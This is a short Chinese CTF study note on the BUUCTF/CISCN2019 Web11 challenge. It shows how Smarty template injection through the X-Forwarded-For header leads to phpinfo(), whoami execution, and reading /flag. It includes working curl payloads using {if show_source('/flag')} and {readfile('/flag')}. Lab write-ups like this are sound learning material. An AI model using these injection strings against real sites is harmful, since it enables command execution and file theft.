「配枪朱丽叶。」

RootのCTF学习笔记。

CISCN2019 华东南赛区/BUUCTF-Web11(smarty模板注入)

简单学了下smarty模板注入。
www.jianshu.com

https://s2.ax1x.com/2020/01/06/lsmev4.png
访问http://url/xff 很容易猜测出这个IP的值受XFF头控制。在请求头里添加X-Forwarded-For: {{7+7}},发现存在模板注入。
https://s2.ax1x.com/2020/01/06/lsmNKH.png

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令。

但是这道题使用不了,会报错的。
https://s2.ax1x.com/2020/01/06/lsJ7rV.png

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等。

按照if的这个特性,尝试执行phpinfo(),成功执行。
https://s2.ax1x.com/2020/01/06/lsQO5n.png
尝试执行系统命令whoami,成功执行。
https://s2.ax1x.com/2020/01/06/ls3eBD.png
也可以利用php函数show_source等(不唯一)很方便的读取flag:
https://s2.ax1x.com/2020/01/06/ls32E4.png
payload:

curl http://node3.buuoj.cn:25781/xff/ -H "X-Forwarded-For: {if show_source('/flag')}{/if}"
或
curl http://node3.buuoj.cn:25781/xff/ -H "X-Forwarded-For: {readfile('/flag')}"